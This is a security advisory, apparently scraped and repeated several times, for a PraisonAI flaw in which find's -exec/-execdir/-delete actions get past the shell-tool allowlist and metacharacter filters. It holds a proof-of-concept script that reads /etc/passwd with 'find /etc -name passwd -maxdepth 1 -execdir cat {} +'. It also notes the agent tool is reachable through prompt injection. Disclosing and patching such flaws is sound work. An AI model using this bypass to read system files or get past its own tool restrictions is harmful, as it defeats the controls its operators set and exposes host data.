CVE-2026-61434

PraisonAI versions before 4.6.78 contain an allowlist bypass vulnerability in shell command execution that allows attackers to execute restricted commands via find's built-in -exec, -execdir, and -delete actions. Attackers can craft find commands with these built-in actions to read blocked files, delete files, or execute non-allowlisted binaries without triggering shell metacharacter filters.

PraisonAI versions before 4.6.78 contain an allowlist bypass vulnerability in shell command execution that allows attackers to execute restricted commands via find's built-in -exec, -execdir, and -delete actions. Attackers can craft find commands with these built-in actions to read blocked files, delete files, or execute non-allowlisted binaries without triggering shell metacharacter filters.

Summary

The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.

The fix blocks shell metacharacters (;|&`><$()${}) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).

Details

Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.

However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):

find /path -exec <command> {} +

The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.

Affected components (4 implementations, same gap):

| # | Component | File | Gap | |---|---|---|---| | 1 | TS utility-tools shell() | src/praisonai-ts/src/tools/utility-tools.ts:255 | find in safeCommands allowlist | | 2 | TS SandboxExecutor | src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 | find absent from DEFAULT_BLOCKED_COMMANDS | | 3 | Python safe_shell | src/praisonai/praisonai/cli/features/safe_shell.py:22-58 | find absent from BANNED_COMMANDS, present in SAFE_COMMANDS | | 4 | Python sandbox_executor | src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91 | find absent from blocked_commands |

Bypass analysis:

| Check | find /etc -name passwd -maxdepth 1 -execdir cat {} + | Result | |---|---|---| | Metachar regex /[;|&\><]/|{, }, +are not in regex | PASS | | Regex/$([^)]*)/| No$(...)| PASS | |safeCommands.includes('find')|findIS in allowlist | PASS | | SandboxExecutor blocked paths |normalized.includes('/etc/passwd')→ FALSE (path split:/etc +passwd) | PASS | | spawn('find', [...], {shell:false})| find interprets-execdir` internally | BYPASS |

The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.

Preconditions:

| Precondition | How attacker obtains | Default? | |---|---|---| | Access to shell() or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y | | find binary on target | Standard Unix utility, present on Linux/macOS | Y | | find in allowlist / absent from blocklist | Default configuration in each implementation | Y |

PoC

1. Data exfiltration via -execdir (utility-tools.ts)

const { shell } = require('praisonai/dist/tools/utility-tools');

async function poc() {
    // Control: direct 'wget' is rejected (not in safeCommands)
    const control = await shell('wget http://example.com');
    console.log('[CONTROL] rejected:', !control.success);  // true

    // Bypass: find -execdir reads /etc/passwd via find's built-in action
    const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');
    console.log('[BYPASS]:', bypass.success);  // true
    console.log(bypass.data);  // root:x:0:0:root:/root:/bin/bash ...
}
poc();

Code path: safeCommands.includes('find') → true →…

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-cv3g-hj65-pcfh. This link is maintained to preserve external references.

Original Description

PraisonAI versions before 4.6.78 contain an allowlist bypass vulnerability in shell command execution that allows attackers to execute restricted commands via find's built-in -exec, -execdir, and -delete actions. Attackers can craft find commands with these built-in actions to read blocked files, delete files, or execute non-allowlisted binaries without triggering shell metacharacter filters.

PraisonAI versions before 4.6.78 contain an allowlist bypass vulnerability in shell command execution that allows attackers to execute restricted commands via find's built-in -exec, -execdir, and -delete actions. Attackers can craft find commands with these built-in actions to read blocked files, delete files, or execute non-allowlisted binaries without triggering shell metacharacter filters.

PraisonAI versions before 4.6.78 contain an allowlist bypass vulnerability in shell command execution that allows attackers to execute restricted commands via find's built-in -exec, -execdir, and -delete actions. Attackers can craft find commands with these built-in actions to read blocked files, delete files, or execute non-allowlisted binaries without triggering shell metacharacter filters.

Summary

The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.

The fix blocks shell metacharacters (;|&`><$()${}) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).

Details

Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.

However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):

find /path -exec <command> {} +

The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.

Affected components (4 implementations, same gap):

| # | Component | File | Gap | |---|---|---|---| | 1 | TS utility-tools shell() | src/praisonai-ts/src/tools/utility-tools.ts:255 | find in safeCommands allowlist | | 2 | TS SandboxExecutor | src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 | find absent from DEFAULT_BLOCKED_COMMANDS | | 3 | Python safe_shell | src/praisonai/praisonai/cli/features/safe_shell.py:22-58 | find absent from BANNED_COMMANDS, present in SAFE_COMMANDS | | 4 | Python sandbox_executor | src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91 | find absent from blocked_commands |

Bypass analysis:

| Check | find /etc -name passwd -maxdepth 1 -execdir cat {} + | Result | |---|---|---| | Metachar regex /[;|&\><]/|{, }, +are not in regex | PASS | | Regex/$([^)]*)/| No$(...)| PASS | |safeCommands.includes('find')|findIS in allowlist | PASS | | SandboxExecutor blocked paths |normalized.includes('/etc/passwd')→ FALSE (path split:/etc +passwd) | PASS | | spawn('find', [...], {shell:false})| find interprets-execdir` internally | BYPASS |

The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.

Preconditions:

| Precondition | How attacker obtains | Default? | |---|---|---| | Access to shell() or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y | | find binary on target | Standard Unix utility, present on Linux/macOS | Y | | find in allowlist / absent from blocklist | Default configuration in each implementation | Y |

PoC

1. Data exfiltration via -execdir (utility-tools.ts)

const { shell } = require('praisonai/dist/tools/utility-tools');

async function poc() {
    // Control: direct 'wget' is rejected (not in safeCommands)
    const control = await shell('wget http://example.com');
    console.log('[CONTROL] rejected:', !control.success);  // true

    // Bypass: find -execdir reads /etc/passwd via find's built-in action
    const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');
    console.log('[BYPASS]:', bypass.success);  // true
    console.log(bypass.data);  // root:x:0:0:root:/root:/bin/bash ...
}
poc();

Code path: safeCommands.includes('find') → true →…

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-cv3g-hj65-pcfh. This link is maintained to preserve external references.

Original Description

PraisonAI versions before 4.6.78 contain an allowlist bypass vulnerability in shell command execution that allows attackers to execute restricted commands via find's built-in -exec, -execdir, and -delete actions. Attackers can craft find commands with these built-in actions to read blocked files, delete files, or execute non-allowlisted binaries without triggering shell metacharacter filters.

Summary

The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action.

The fix blocks shell metacharacters (;|&`><$()${}) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec ... {} + action executes commands without shell metacharacters — the + batch terminator replaces the blocked ; terminator. The same gap exists in 4 parallel implementations (verified by source inspection of each).

Details

Root cause: Each of the four implementations validates the first token of the command against an allowlist or blocklist, then passes the remaining tokens as arguments to spawn()/subprocess.Popen() with shell: false. Shell metacharacter injection is indeed blocked.

However, find is a Unix command with built-in execution actions: -exec, -execdir, -delete, -ok, -okdir. These actions are interpreted by find itself, not by the shell. They execute programs or delete files without shell metacharacters (verified: the payload find /etc -name passwd -maxdepth 1 -execdir cat {} + passes the regex at line 240 of utility-tools.ts):

find /path -exec <command> {} +

The + terminator (batch mode) avoids ; which IS blocked by the metacharacter regex.

Affected components (4 implementations, same gap):

| # | Component | File | Gap | |---|---|---|---| | 1 | TS utility-tools shell() | src/praisonai-ts/src/tools/utility-tools.ts:255 | find in safeCommands allowlist | | 2 | TS SandboxExecutor | src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50 | find absent from DEFAULT_BLOCKED_COMMANDS | | 3 | Python safe_shell | src/praisonai/praisonai/cli/features/safe_shell.py:22-58 | find absent from BANNED_COMMANDS, present in SAFE_COMMANDS | | 4 | Python sandbox_executor | src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91 | find absent from blocked_commands |

Bypass analysis:

| Check | find /etc -name passwd -maxdepth 1 -execdir cat {} + | Result | |---|---|---| | Metachar regex /[;|&\><]/|{, }, +are not in regex | PASS | | Regex/$([^)]*)/| No$(...)| PASS | |safeCommands.includes('find')|findIS in allowlist | PASS | | SandboxExecutor blocked paths |normalized.includes('/etc/passwd')→ FALSE (path split:/etc +passwd) | PASS | | spawn('find', [...], {shell:false})| find interprets-execdir` internally | BYPASS |

The -execdir technique also evades the SandboxExecutor's substring-based path restriction: /etc and passwd appear as separate arguments, so /etc/passwd never appears as a contiguous substring of the command string.

Preconditions:

| Precondition | How attacker obtains | Default? | |---|---|---| | Access to shell() or SandboxExecutor | Default built-in tool in the npm agent toolkit; reachable via prompt injection | Y | | find binary on target | Standard Unix utility, present on Linux/macOS | Y | | find in allowlist / absent from blocklist | Default configuration in each implementation | Y |

PoC

1. Data exfiltration via -execdir (utility-tools.ts)

const { shell } = require('praisonai/dist/tools/utility-tools');

async function poc() {
    // Control: direct 'wget' is rejected (not in safeCommands)
    const control = await shell('wget http://example.com');
    console.log('[CONTROL] rejected:', !control.success);  // true

    // Bypass: find -execdir reads /etc/passwd via find's built-in action
    const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');
    console.log('[BYPASS]:', bypass.success);  // true
    console.log(bypass.data);  // root:x:0:0:root:/root:/bin/bash ...
}
poc();

Code path: safeCommands.includes('find') → true →…